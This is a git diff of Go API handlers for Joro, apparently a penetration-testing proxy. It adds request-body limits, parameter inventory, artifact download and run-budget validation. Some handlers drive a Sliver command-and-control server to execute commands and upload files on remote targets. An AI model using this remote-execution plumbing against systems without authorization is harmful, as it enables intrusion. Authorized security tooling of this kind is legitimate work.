// registerPluginRoutes registers all dynamic routes for loaded plugins.
// Called from registerRoutes() after the static route block.
func registerPluginRoutes(s *APIServer, mux *http.ServeMux) {
+18 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetReplaceEnabled(w http.ResponseWriter, r *http.Reque
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -37,7 +36,7 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
Match string `json:"match"`
Replace string `json:"replace"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -61,6 +60,22 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
writeJSON(w, http.StatusCreated, rule)
}
func (s *APIServer) handleSetReplaceRuleEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.replace.SetRuleEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "rule not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.replace.RemoveRule(id) {
+53 -1
View File
@@ -5,6 +5,7 @@ import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
@@ -98,7 +99,14 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
}
writeJSON(w, http.StatusOK, map[string]any{
"id": item.ID,
"id": item.ID,
// Seq is the handle every server-side feature addresses a capture by, and
// the client's RequestDetail has always been typed as carrying it — it
// extends RequestSummary, which the list endpoint does fill in. Omitting
// it here made that type a lie no compiler could catch: a caller reading
// detail.seq got undefined, which JSON-encodes to null and decodes in Go
// as 0, and the request was reported as evicted from the capture buffer.
"seq": item.Seq,
"timestamp": item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
"method": item.Method,
"url": item.URL,
@@ -113,6 +121,35 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
})
}
// handleGetRequestParams lists every input one captured request carried — query,
// path segment, form field, JSON leaf, multipart field, cookie and header — as
// the one walker in the repo enumerates them. It is the per-request half of the
// site-map inventory and, like it, runs on demand and needs nothing from the
// reflection engine.
func (s *APIServer) handleGetRequestParams(w http.ResponseWriter, r *http.Request) {
item := s.store.Get(r.PathValue("id"))
if item == nil {
writeError(w, http.StatusNotFound, "request not found")
return
}
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
cfg.Normalize()
params := echo.RequestParams(item, cfg)
writeJSON(w, http.StatusOK, map[string]any{
"requestId": item.ID,
"params": params,
// The walker stops at MaxValuesPerRequest without saying it did, so a full
// slice is the only signal available. A request carrying exactly the cap
// reports truncated, which is the safe direction to be wrong in.
"truncated": len(params) >= cfg.MaxValuesPerRequest,
})
}
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
s.store.Clear()
// Clear zeroes the store's sequence counter, so the detection cursor must be
@@ -121,3 +158,18 @@ func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request)
s.clearDetectFindingsWithHistory()
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
// handleDeleteRequestsByHost removes captured requests whose host matches a glob,
// the "clear what is already captured" companion to adding a noise pattern. The
// required "pattern" query param is the host glob (filepath.Match), the same value
// stored as the noise pattern. Removing the requests also drops them from the site
// map, which is derived from the same store.
func (s *APIServer) handleDeleteRequestsByHost(w http.ResponseWriter, r *http.Request) {
pattern := r.URL.Query().Get("pattern")
if pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
return
}
removed := s.store.DeleteByHostPattern(pattern)
writeJSON(w, http.StatusOK, map[string]int{"deleted": removed})
}
+2 -2
View File
@@ -40,7 +40,7 @@ func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -50,7 +50,7 @@ func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request
func (s *APIServer) handleAddScopeRule(w http.ResponseWriter, r *http.Request) {
var body proxy.ScopeRule
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+404 -38
View File
@@ -5,39 +5,29 @@ import (
"errors"
"fmt"
"log"
"mime"
"net/http"
"path/filepath"
"slices"
"strconv"
"strings"
"time"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/capreg"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/jsruntime"
"github.com/BishopFox/joro/internal/localcmd"
)
// maxAutomationBody bounds a request on the automation control plane. Sized for the
// largest of them — one carrying automation source — comfortably over
// jsruntime.MaxSourceBytes so the source limit is the one that reports, with room for a
// manifest beside it.
const maxAutomationBody = 2 << 20
// largest of them — one carrying automation source — from the program-size ceiling the
// budget offers, with room for a manifest beside it, so the program limit is the one that
// reports rather than this. Passed to decodeJSONLimit; see the tiers in decode.go.
const maxAutomationBody = jsruntime.CapSourceBytes + (1 << 19)
// decodeJSON reads a bounded JSON body, and requires the JSON content type.
//
// Requiring it is deliberate rather than pedantic. `application/json` is not a
// CORS-safelisted content type, so a browser cannot send one cross-origin without a
// preflight, and a preflight against this API fails — it sets no CORS headers. That holds
// independently of originGuard, which is the primary control here but reasons from
// headers the browser volunteers: a client that sends none at all is treated as local
// tooling and allowed through. This check still applies to it, at the cost of one
// `-H 'Content-Type: application/json'`.
func decodeJSON(r *http.Request, dst any) error {
ct, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || ct != "application/json" {
return errors.New("expected Content-Type: application/json")
}
return json.NewDecoder(http.MaxBytesReader(nil, r.Body, maxAutomationBody)).Decode(dst)
// decodeAutomationJSON is decodeJSON at the automation plane's own body cap.
func decodeAutomationJSON(r *http.Request, dst any) error {
return decodeJSONLimit(r, dst, maxAutomationBody)
}
// The script run log, over REST.
@@ -53,14 +43,44 @@ func decodeJSON(r *http.Request, dst any) error {
// question the log answers — which exact code did an agent run against a client's
// systems — is the one an operator most needs after the fact.
// requireScripting reports whether the script runner is available, writing the JSON 404
// if not. Separate from requireAutomation: automation can be on while scripting is off,
// and "automation is not enabled" would send an operator looking in the wrong place.
func (s *APIServer) requireScripting(w http.ResponseWriter) bool {
// requireAutomations reports whether installed automations exist at all — either kind —
// writing the JSON 404 if not.
//
// Three gates rather than one, because there are three ways to be switched off and each
// has a different remedy. An operator sent to the wrong flag has been told something
// worse than nothing, so every message names the switch that would change the answer:
//
// requireAutomation --no-automation, nothing about automation is registered
// requireAutomations neither --automation-scripting nor --automation-commands
// requireScripting the JavaScript half specifically
//
// The frontend distinguishes them by looking for "--automation-scripting" in the text,
// which both of the latter two carry — so the message can gain detail without the client
// having to learn a new one.
func (s *APIServer) requireAutomations(w http.ResponseWriter) bool {
if !s.requireAutomation(w) {
return false
}
if s.scriptManager == nil {
writeError(w, http.StatusNotFound,
"installed automations are not enabled on this instance; start Joro with "+
"--automation-scripting for sandboxed scripts, or --automation-commands to run "+
"local commands")
return false
}
return true
}
// requireScripting reports whether the JavaScript half is available.
//
// Distinct from requireAutomations because the manager also exists for commands alone: an
// operator running with only --automation-commands has installed automations but no script
// runtime, and "installed automations are not enabled" would be false.
func (s *APIServer) requireScripting(w http.ResponseWriter) bool {
if !s.requireAutomations(w) {
return false
}
if !s.scriptingEnabled() {
writeError(w, http.StatusNotFound,
"script automation is not enabled on this instance; start Joro with --automation-scripting")
return false
@@ -69,7 +89,7 @@ func (s *APIServer) requireScripting(w http.ResponseWriter) bool {
}
func (s *APIServer) handleListScriptRuns(w http.ResponseWriter, r *http.Request) {
if !s.requireScripting(w) {
if !s.requireAutomations(w) {
return
}
q := r.URL.Query()
@@ -90,7 +110,7 @@ func (s *APIServer) handleListScriptRuns(w http.ResponseWriter, r *http.Request)
}
func (s *APIServer) handleGetScriptRun(w http.ResponseWriter, r *http.Request) {
if !s.requireScripting(w) {
if !s.requireAutomations(w) {
return
}
run, ok := s.scriptManager.Runs().Get(r.PathValue("id"))
@@ -103,17 +123,51 @@ func (s *APIServer) handleGetScriptRun(w http.ResponseWriter, r *http.Request) {
}
func (s *APIServer) handleClearScriptRuns(w http.ResponseWriter, r *http.Request) {
if !s.requireScripting(w) {
if !s.requireAutomations(w) {
return
}
writeJSON(w, http.StatusOK, map[string]int{"deleted": s.scriptManager.Runs().Clear()})
}
// handleGetRunArtifact serves one file from a command run's working directory.
//
// It exists because without it the headline use is only half a feature: a scanner's whole
// output is the report directory it writes, and a run that lists file names nobody can open
// has told the operator what they are missing rather than giving it to them.
//
// What it serves is anything inside that one run's directory, which is a slightly wider
// contract than the artifact list the run reported — the input files Joro itself wrote are
// reachable too, since they are also in there. That is deliberate rather than overlooked:
// the directory holds only what Joro put there and what the command produced, so "inside
// this run's directory" is the whole containment, and it is a property of the path rather
// than of a list someone has to keep in step with it.
//
// The path is resolved by jsautomation.ArtifactPath, which owns the scratch layout and
// validates the path — this handler deliberately does not join anything itself. Served as an
// attachment with a generic content type and nosniff, so a file a third-party tool wrote is
// downloaded rather than rendered.
func (s *APIServer) handleGetRunArtifact(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
path, err := s.scriptManager.ArtifactPath(r.PathValue("id"), r.PathValue("name"))
if err != nil {
writeError(w, http.StatusNotFound, "no such artifact")
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Content-Disposition",
fmt.Sprintf("attachment; filename=%q", filepath.Base(path)))
http.ServeFile(w, r, path)
}
// ---- Installed automations ----
// packages returns the installed-automation store, writing the 404 if unavailable.
func (s *APIServer) packages(w http.ResponseWriter) *jsautomation.Store {
if !s.requireScripting(w) {
if !s.requireAutomations(w) {
return nil
}
st := s.scriptManager.Packages()
@@ -147,6 +201,28 @@ func (s *APIServer) handleListScripts(w http.ResponseWriter, r *http.Request) {
"scripts": s.scriptManager.List(),
"triggers": jsautomation.Triggers,
"bundle": jsautomation.BundleVersion,
"kinds": jsautomation.Kinds,
// The command vocabulary, served rather than restated in the frontend — the same
// reason the budget serves its specs. A stdin mode or a placeholder added in Go
// then appears in the editor's selects with no client change, and a client can
// never offer one the server would refuse.
"scripting": s.scriptingEnabled(),
"commands": map[string]any{
"enabled": s.commandsEnabled(),
"stdinModes": localcmd.StdinModes,
"outputModes": localcmd.OutputModes,
"fileParts": localcmd.FileParts,
// What each placeholder is, and which triggers supply one. Two sources
// because they are two packages' knowledge: localcmd owns the grammar it
// enforces, jsautomation owns which trigger populates what. The editor
// renders both and hardcodes neither, which is what stopped the old
// hand-written paragraph from drifting away from checkCaptured.
"placeholders": localcmd.PlaceholderDocs(),
"availability": jsautomation.CommandPlaceholderAvailability(),
"inputToken": localcmd.PlaceholderInput,
},
})
}
@@ -162,7 +238,15 @@ func (s *APIServer) handleGetScript(w http.ResponseWriter, r *http.Request) {
}
// With source: this is the operator reading their own automation, which is the
// point of keeping it as a real file in the first place.
writeJSON(w, http.StatusOK, a)
//
// effectiveLimits rides along for the same reason EffectiveLens does: the budget is
// the author's request narrowed by the operator's override and then held to the
// global, and resolving it here means no caller has to hold three halves and decide
// which wins.
writeJSON(w, http.StatusOK, struct {
*jsautomation.Automation
EffectiveLimits jsautomation.ManifestLimits `json:"effectiveLimits"`
}{a, a.EffectiveBudget(s.scriptManager.Budget())})
}
type scriptWriteBody struct {
@@ -178,7 +262,7 @@ func (s *APIServer) handleInstallScript(w http.ResponseWriter, r *http.Request)
return
}
var body scriptWriteBody
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
@@ -197,7 +281,7 @@ func (s *APIServer) handleUpdateScript(w http.ResponseWriter, r *http.Request) {
return
}
var body scriptWriteBody
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
@@ -241,7 +325,7 @@ func (s *APIServer) handleSetScriptEnabled(w http.ResponseWriter, r *http.Reques
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
@@ -279,7 +363,7 @@ func (s *APIServer) handleSetScriptPrefs(w http.ResponseWriter, r *http.Request)
LensPart *string `json:"lensPart"`
LensOrder *int `json:"lensOrder"`
}
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
@@ -339,7 +423,7 @@ func (s *APIServer) handleSetScriptPrefs(w http.ResponseWriter, r *http.Request)
// draft before it is saved is not an authoring surface. It is also why a disabled
// automation may be run from here: reviewing something means being able to run it first.
func (s *APIServer) handleRunScript(w http.ResponseWriter, r *http.Request) {
if !s.requireScripting(w) {
if !s.requireAutomations(w) {
return
}
var body struct {
@@ -352,7 +436,7 @@ func (s *APIServer) handleRunScript(w http.ResponseWriter, r *http.Request) {
MaxCalls int `json:"maxCalls"`
MaxSendCalls int `json:"maxSendCalls"`
}
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
@@ -381,9 +465,20 @@ func (s *APIServer) handleRunScript(w http.ResponseWriter, r *http.Request) {
OperatorRun: true,
})
case strings.TrimSpace(body.Source) != "":
// Inline source is JavaScript, so this branch needs the script half specifically.
// An operator running with only --automation-commands has no runtime to hand it
// to, and should be told which flag rather than getting a run that reports the
// runtime missing.
if !s.requireScripting(w) {
return
}
run, err = s.scriptManager.Run(r.Context(), jsautomation.RunRequest{
Source: body.Source,
Input: body.Input,
Source: body.Source,
Input: body.Input,
// A name for the audit trail and no policy, exactly like
// AutomationPrincipal: no token launched this, so runPrincipal resolves
// policy from the operator's own configuration rather than from a flag on a
// token they never issued.
Caller: capability.Principal{TokenName: "operator"},
Trigger: trigger,
NoSend: trigger == jsautomation.TriggerLens,
@@ -399,7 +494,7 @@ func (s *APIServer) handleRunScript(w http.ResponseWriter, r *http.Request) {
}
switch {
case errors.Is(err, jsautomation.ErrBusy):
case errors.Is(err, jsautomation.ErrBusy), errors.Is(err, jsautomation.ErrCommandBusy):
writeError(w, http.StatusTooManyRequests, err.Error())
case errors.Is(err, jsautomation.ErrNotFound):
writeError(w, http.StatusNotFound, "no such automation")
@@ -468,6 +563,277 @@ func (s *APIServer) handleScriptSDK(w http.ResponseWriter, r *http.Request) {
})
}
// ---- The run budget ----
//
// The operator's run policy, plus everything needed to explain it: the shipped default
// and ceiling per field, the unit each is entered in, and the one-sentence rationale for
// each. All of it is served rather than restated in the frontend, so what the UI explains
// cannot drift from what the runtime enforces.
type budgetResponse struct {
// Policy is what the operator set. A zero field means "Joro's own number".
Policy jsruntime.BudgetPolicy `json:"policy"`
// Effective is what a run that asks for nothing is held to, EffectiveMax the most
// one may ask for, and Host the resolved host limits. All three are what the policy
// actually comes to, so the UI shows no figure the runtime would not honor.
Effective jsruntime.Budget `json:"effective"`
EffectiveMax jsruntime.Budget `json:"effectiveMax"`
Host jsruntime.HostBudget `json:"host"`
// Specs describes the per-run fields, hostSpecs the ones that belong to this Joro.
Specs []jsruntime.BudgetSpec `json:"specs"`
HostSpecs []jsruntime.BudgetSpec `json:"hostSpecs"`
// AgentOutputCap is the size the two agent figures share. Their own specs carry it
// as a cap; this is here so the panel can name the sum rule once.
AgentOutputCap int `json:"agentOutputCap"`
// Command is the same thing for local command runs, on a separate policy with its own
// fields; see internal/localcmd/budget.go for why the two are not one struct.
//
// Nested rather than flattened so the panel renders two sections from one response
// without having to know which key belongs to which. Its specs have the same shape as
// the ones above, which is what lets one component render both.
Command commandBudgetResponse `json:"command"`
}
type commandBudgetResponse struct {
// Enabled is whether --automation-commands was given. The panel still shows the
// section when it is false — an operator can set a budget for something they have
// not switched on yet — but says so rather than implying commands will run.
Enabled bool `json:"enabled"`
Policy localcmd.Policy `json:"policy"`
Effective localcmd.Budget `json:"effective"`
EffectiveMax localcmd.Budget `json:"effectiveMax"`
Host localcmd.HostBudget `json:"host"`
Specs []localcmd.BudgetSpec `json:"specs"`
HostSpecs []localcmd.BudgetSpec `json:"hostSpecs"`
}
func (s *APIServer) scriptBudgetState() budgetResponse {
p := s.autoStore.ScriptBudget()
def, maxi := p.Bounds()
cp := s.autoStore.CommandBudget()
cdef, cmaxi := cp.Bounds()
return budgetResponse{
Policy: p,
Effective: def,
EffectiveMax: maxi,
Host: p.Host.Resolved(),
Specs: jsruntime.BudgetSpecs(),
HostSpecs: jsruntime.HostSpecs(),
AgentOutputCap: jsruntime.AgentOutputCap,
Command: commandBudgetResponse{
Enabled: s.commandsEnabled(),
Policy: cp,
Effective: cdef,
EffectiveMax: cmaxi,
Host: cp.Host.Resolved(),
Specs: localcmd.BudgetSpecs(),
HostSpecs: localcmd.HostSpecs(),
},
}
}
func (s *APIServer) handleGetScriptBudget(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
writeJSON(w, http.StatusOK, s.scriptBudgetState())
}
// handleSetScriptBudget stores the operator's run policy.
//
// Over-ceiling values are rejected rather than clamped, which is the opposite of what a
// run request gets: a run may be submitted by a language model, where an argument error
// costs a turn, but this is the operator's own form and silently correcting what they
// typed would leave them believing a limit they do not have.
func (s *APIServer) handleSetScriptBudget(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
// Both policies arrive on one request and are stored together, because the panel edits
// them in one form and a partial save would leave the operator's two halves out of
// step with what they were looking at. Absent means unchanged, so a client that
// predates the command budget cannot clear one by omission.
var body struct {
Policy jsruntime.BudgetPolicy `json:"policy"`
Command *localcmd.Policy `json:"command,omitempty"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if err := validateBudgetPolicy(body.Policy); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if body.Command != nil {
if err := validateCommandPolicy(*body.Command); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
}
if err := s.autoStore.SetScriptBudget(body.Policy); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if body.Command != nil {
if err := s.autoStore.SetCommandBudget(*body.Command); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
}
// No WS event: nothing listens for one, the operator's own request is the only way
// here, and it takes effect on the next run rather than on anything already open.
writeJSON(w, http.StatusOK, s.scriptBudgetState())
}
// validateBudgetPolicy checks every field the runtime declares, in the units the
// operator entered them in, plus the one cross-field rule.
//
// Iterating the specs rather than the struct keeps this total: a field the runtime
// declares but cannot read back is reported as a defect rather than waved through.
func validateBudgetPolicy(p jsruntime.BudgetPolicy) error {
perRun := []struct {
what string
budget jsruntime.Budget
}{
{"default", p.Defaults},
{"maximum", p.Maxima},
}
for _, sp := range jsruntime.BudgetSpecs() {
for _, half := range perRun {
v, ok := half.budget.Value(sp.Key)
if !ok {
return fmt.Errorf("budget field %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(scriptField(sp), v, half.what+" "); err != nil {
return err
}
}
// A default above the maximum is contradictory rather than merely high. The
// runtime resolves it to the maximum, but saying so beats storing it.
def, _ := p.Defaults.Value(sp.Key)
maxi, _ := p.Maxima.Value(sp.Key)
if def > 0 && maxi > 0 && def > maxi {
return fmt.Errorf("%s: the default (%d) cannot be above the maximum (%d)",
sp.Label, def/sp.Factor, maxi/sp.Factor)
}
}
for _, sp := range jsruntime.HostSpecs() {
v, ok := p.Host.Value(sp.Key)
if !ok {
return fmt.Errorf("host limit %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(scriptField(sp), v, ""); err != nil {
return err
}
}
// The pair an agent gets back has to fit inside script.run's output cap, which is
// registered before the registry is sealed and errors rather than truncating.
h := p.Host.Resolved()
if room := capreg.ScriptRunOutputCap - capreg.ScriptRunHeaderRoom; h.AgentLogBytes+h.AgentResultBytes > room {
return fmt.Errorf("agent log output (%d KB) and agent result size (%d KB) together must stay "+
"under %d KB, the tool result cap they share",
h.AgentLogBytes>>10, h.AgentResultBytes>>10, room>>10)
}
return nil
}
// validateCommandPolicy is validateBudgetPolicy for the command budget.
//
// The same shape and the same rules, over localcmd's specs. Two functions rather than one
// generic over both because the two policies have different types for their halves and
// different cross-field rules — this one has none, where the script budget has the agent
// output sum. What they do share is checkBudgetField, through budgetField.
func validateCommandPolicy(p localcmd.Policy) error {
perRun := []struct {
what string
budget localcmd.Budget
}{
{"default", p.Defaults},
{"maximum", p.Maxima},
}
for _, sp := range localcmd.BudgetSpecs() {
f := commandField(sp)
for _, half := range perRun {
v, ok := half.budget.Value(sp.Key)
if !ok {
return fmt.Errorf("command budget field %q cannot be read back; this is a defect in Joro",
sp.Key)
}
if err := checkBudgetField(f, v, half.what+" "); err != nil {
return err
}
}
def, _ := p.Defaults.Value(sp.Key)
maxi, _ := p.Maxima.Value(sp.Key)
if def > 0 && maxi > 0 && def > maxi {
return fmt.Errorf("%s: the default (%d) cannot be above the maximum (%d)",
sp.Label, def/sp.Factor, maxi/sp.Factor)
}
}
for _, sp := range localcmd.HostSpecs() {
v, ok := p.Host.Value(sp.Key)
if !ok {
return fmt.Errorf("command host limit %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(commandField(sp), v, ""); err != nil {
return err
}
}
return nil
}
// budgetField is the subset of a budget spec the validator reads.
//
// jsruntime and localcmd each declare their own spec type with these fields in it, because
// neither imports the other and neither should. This is the one place that has to treat
// them alike, so the conversion lives here rather than either of them growing a dependency
// for a validator's convenience.
type budgetField struct {
Label, Unit, CapReason string
Factor, Default, Cap int
}
func scriptField(sp jsruntime.BudgetSpec) budgetField {
return budgetField{
Label: sp.Label, Unit: sp.Unit, CapReason: sp.CapReason,
Factor: sp.Factor, Default: sp.Default, Cap: sp.Cap,
}
}
func commandField(sp localcmd.BudgetSpec) budgetField {
return budgetField{
Label: sp.Label, Unit: sp.Unit, CapReason: sp.CapReason,
Factor: sp.Factor, Default: sp.Default, Cap: sp.Cap,
}
}
// checkBudgetField reports a value the runtime cannot honor, in the operator's own unit.
//
// Only two things can be wrong: a fraction of the unit, or a value above a structural cap.
// A field with no cap has no upper bound here — the operator's number is the limit, which
// is what stops this form presenting a figure as theirs to set and then refusing it.
func checkBudgetField(sp budgetField, v int, half string) error {
name := half + strings.ToLower(sp.Label)
switch {
case v < 0:
return fmt.Errorf("%s cannot be negative; 0 takes Joro's %d %s", name, sp.Default, sp.Unit)
case v%sp.Factor != 0:
return fmt.Errorf("%s must be a whole number of %s", name, sp.Unit)
case sp.Cap > 0 && v > sp.Cap*sp.Factor:
return fmt.Errorf("%s cannot be above %d %s: %s", name, sp.Cap, sp.Unit, sp.CapReason)
}
return nil
}
// globalDocs covers what the shim defines outside the joro namespace. The sandbox's
// globals are ECMAScript built-ins and nothing else, so these are worth naming.
var globalDocs = []map[string]string{
+1 -1
View File
@@ -57,7 +57,7 @@ func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request)
MaxRequests *int `json:"maxRequests"`
DisableUpdateChecks *bool `json:"disableUpdateChecks"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+86 -1
View File
@@ -1,6 +1,16 @@
package api
import "net/http"
import (
"net/http"
"net/url"
"github.com/BishopFox/joro/internal/echo"
)
// maxInventoryRequests bounds the walk behind a parameter inventory. History
// holds thousands of requests and a hot endpoint can hold most of them, so the
// newest slice is walked and the response says so rather than the pane stalling.
const maxInventoryRequests = 1000
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
f := s.requestFilterFromQuery(r)
@@ -8,6 +18,81 @@ func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
}
// handleGetSitemapParams inventories the parameters behind a site-map node: every
// input its requests carried, across every source, with counts. It takes the same
// request filters as handleGetSitemap, so the pane describes the node the operator
// clicked in the tree they are looking at.
//
// The node is named by "origin", not by "host" as handleDeleteSitemap names it.
// This endpoint also parses the shared request filters, where "host" already means
// a case-insensitive substring of the captured Host header — and an origin carries
// a scheme, so it is never a substring of one. Reusing the name here would filter
// every request away and report an endpoint with no parameters rather than fail.
//
// The walk is on demand and depends on nothing the reflection engine does: it
// answers for an operator who has never switched Echo on, which is the default.
func (s *APIServer) handleGetSitemapParams(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
origin := q.Get("origin")
if origin == "" {
writeError(w, http.StatusBadRequest, "origin is required")
return
}
matchPath := q.Has("path")
path := q.Get("path")
reqs := s.store.NodeRequests(origin, path, matchPath, s.requestFilterFromQuery(r))
total := len(reqs)
walked := reqs
if len(walked) > maxInventoryRequests {
walked = walked[:maxInventoryRequests]
}
// The engine's configuration when it is wired, so the operator's body-scan
// bounds apply; defaults otherwise, because the inventory has to work wherever
// the site map does.
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
rows := echo.Inventory(walked, cfg)
s.markReflected(origin, rows)
writeJSON(w, http.StatusOK, map[string]any{
"origin": origin,
"path": path,
"requests": total,
"walked": len(walked),
"truncated": len(walked) < total,
"params": rows,
})
}
// markReflected flags the rows reflection mapping has already seen come back.
//
// The join key is the bare host. A site-map origin is scheme://host[:port] while
// echo keys an entry on detect.Message.Host, which is url.URL.Host — no scheme.
// Passing the origin through would hash a string no entry ever uses and leave
// every row silently unreflected.
func (s *APIServer) markReflected(origin string, rows []echo.ParamRow) {
if s.echoStore == nil {
return
}
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return
}
for i := range rows {
e, ok := s.echoStore.Entry(echo.EntryID(u.Host, rows[i].Source, rows[i].Name))
if !ok {
continue
}
rows[i].Reflected = true
rows[i].Breakouts = e.Breakouts
}
}
// handleDeleteSitemap removes the captured requests behind a site-map node. A
// "host" query param (origin, scheme://host[:port]) is required. An optional
// "path" param scopes the deletion to a single endpoint; when it is present the
+9 -4
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"io"
"net/http"
@@ -25,7 +24,7 @@ func (s *APIServer) handleSliverStatus(w http.ResponseWriter, r *http.Request) {
func (s *APIServer) handleSliverConnect(w http.ResponseWriter, r *http.Request) {
var cfg sliver.OperatorConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
if err := decodeJSON(r, &cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -90,7 +89,7 @@ func (s *APIServer) handleSliverExecute(w http.ResponseWriter, r *http.Request)
Command string `json:"command"`
Args []string `json:"args"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -122,7 +121,7 @@ func (s *APIServer) handleSliverCommand(w http.ResponseWriter, r *http.Request)
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -157,6 +156,12 @@ func (s *APIServer) handleSliverDownload(w http.ResponseWriter, r *http.Request)
// handleSliverUpload handles file upload to a remote target.
func (s *APIServer) handleSliverUpload(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin. Checked before the connection preconditions
// so the outcome does not depend on whether a session is live.
if !requireLocalOrigin(w, r) {
return
}
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
+652
View File
@@ -0,0 +1,652 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// specLoadRequest carries a document from one of three sources. Exactly one of
// Raw, Text and URL is used, in that order of preference.
type specLoadRequest struct {
Raw string `json:"raw"` // base64; a captured response, headers included
Text string `json:"text"` // the document verbatim
URL string `json:"url"` // fetched through Joro's proxy
Name string `json:"name"`
// UserAgent is the tab's, when a tab is doing the loading — a discovery
// sweep probes with it, so the fetch of what it found uses it too. Empty on
// a first load, where no tab exists yet.
UserAgent string `json:"userAgent,omitempty"`
}
// handleSpecLoad parses a document and stores it.
func (s *APIServer) handleSpecLoad(w http.ResponseWriter, r *http.Request) {
var req specLoadRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var (
data []byte
sourceURL string
)
switch {
case req.Raw != "":
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
